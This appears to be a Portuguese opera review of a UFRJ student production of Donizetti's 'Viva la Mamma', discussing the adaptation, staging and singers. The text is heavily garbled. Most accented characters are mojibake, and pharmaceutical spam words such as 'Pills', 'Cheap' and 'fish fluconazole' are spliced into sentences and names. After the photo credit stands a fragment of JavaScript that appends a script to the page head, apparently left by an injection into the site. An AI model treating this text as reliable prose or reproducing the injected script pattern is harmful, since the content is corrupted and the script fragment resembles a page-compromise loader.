CríticaLateralÓpera

“Viva la Mamma” – agradA?vel divertimento

A�pera-bufa de Donizetti, em cartaz na Escola de MA?sica da UFRJ, tem vozes promissoras.

 

Le Convenienze ed Inconvenienze Teatrali (As ConveniA?ncias e InconveniA?ncias Teatrais), popularmente conhecida como Viva la Mamma (Viva a mamA?e), A� uma A?pera-bufa em dois atos de Gaetano Donizetti sobre libreto de Domenico Gilardoni. A obra estA? em cartaz atA� domingo no SalA?o Leopoldo Miguez, da Escola de MA?sica da Universidade Federal do Rio de Janeiro, dentro da sA�rie A�pera na UFRJ, e A� produzida em parceria com as Escolas de Belas Artes e de ComunicaA�A?o. A entrada A� franca (veja aqui datas, horA?rios e demais locais).

Esta peA�a divertida e ligeira brinca com alguns dos clichA?s da A?pera de antigamente ao apresentar as confusA�es e as intrigas de uma companhia lA�rica: um cantor querendo aparecer mais que o outro, a prima donna tendo ataques de a�?estrelicea�?, seu marido fazendo mil exigA?ncias, as discussA�es entre o compositor e o libretista sobre a primazia da mA?sica ou da poesia, e por aA� vai. Alguns desses clichA?s, a propA?sito, continuam bastante atuais…

Se hA? um ponto claramente negativo na versA?o ora apresentada no SalA?o Leopoldo Miguez, este se deve A� adaptaA�A?o promovida na obra pelo compositor Ernani Aguiar. NA?o tanto pelo fato de transpor a comA�dia para o Rio de Janeiro do sA�culo XIX, mas sim em virtude de a trama, por vezes, resultar confusa, com cenas que se seguem sem que uma pareA�a ter ligaA�A?o com a imediatamente precedente (recitativos terA?o sido cortados?). A mistura do italiano com o portuguA?s (ainda que reste claro que a lA�ngua original A� preservada na A?pera dentro da A?pera) tampouco ajuda, e pelo contrA?rio, sA? complica ainda mais. A propA?sito, as legendas sA? traduzem o italiano, quando seria prudente tambA�m que o texto em portuguA?s fosse projetado.

Driblando essa estranha adaptaA�A?o, a montagem com direA�A?o geral de Andrea Adour Buy funciona bem, com uma A?tima e inteligente direA�A?o de cena de Daniel Salgado, que extrai boas atuaA�A�es de praticamente todos os solistas. Se o cenA?rio simples e funcional de Caroline Amaral e LA�via Charret serve bem A� aA�A?o, os figurinos de Bidi Bujnowski, Henrique GuimarA?es, Alessandra Moraes, Order Luna Vicente e Maria Luiza Marques sA?o bastante adequados, muito bonitos e bem executados. A produA�A?o A� complementada pela correta luz de JosA� Henrique Moreira.

Na estreia do dia 22 de junho, o Coro (Maria JosA� Chevitarese Cheap ) nA?o comprometeu em suas poucas intervenA�A�es, e a Pills Orquestra SinfA?nica da UFRJ esteve bem sob a segura conduA�A?o de UbiratA? Rodrigues. O regente tambA�m participou, discretamente e sem sair do pA?dio, de algumas brincadeiras cA?nicas.

Dos solistas, Hebert Augusto (Dorotea) e Iago Cirino (Inspetor) nA?o tiveram grandes oportunidades. fish fluconazole Saulo Laucas Pills nA?o conseguiu acertar o tom do poeta Prospero, sempre soando mais caricato do que o desejA?vel em uma comA�dia. Roberto Montezuma (Guglielmo) e Kaique Stumpf (Procolo) ofereceram performances razoavelmente boas. AndrA� Novaes esteve bem como o maestro Biscroma Strappaviscere.

O barA�tono Thiago Teixeira (EmpresA?rio) exibiu uma voz de belo timbre que, com dedicaA�A?o, pode evoluir bastante. Outro barA�tono, Marcelo Coelho aproveitou bem a oportunidade de interpretar Agata (a Mamma do tA�tulo), fazendo-o com desenvoltura e boa voz. As sopranos Amanda Gonzales (Luigia) e Maria Gerk (a prima donna Corilla) exibiram as mais belas vozes da noite, especialmente esta A?ltima.

Vale a visita para conferir o que a garotada estA? aprontando.

 

Pills Foto do post: Eneraldo Carneiroif (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s); Cheap

Leonardo Marques
Formado em Letras com pós-graduação em Língua Italiana. Frequentador assíduo de concertos e óperas. Participou de cursos particulares sobre ópera. E-mail: leonardo@movimento.com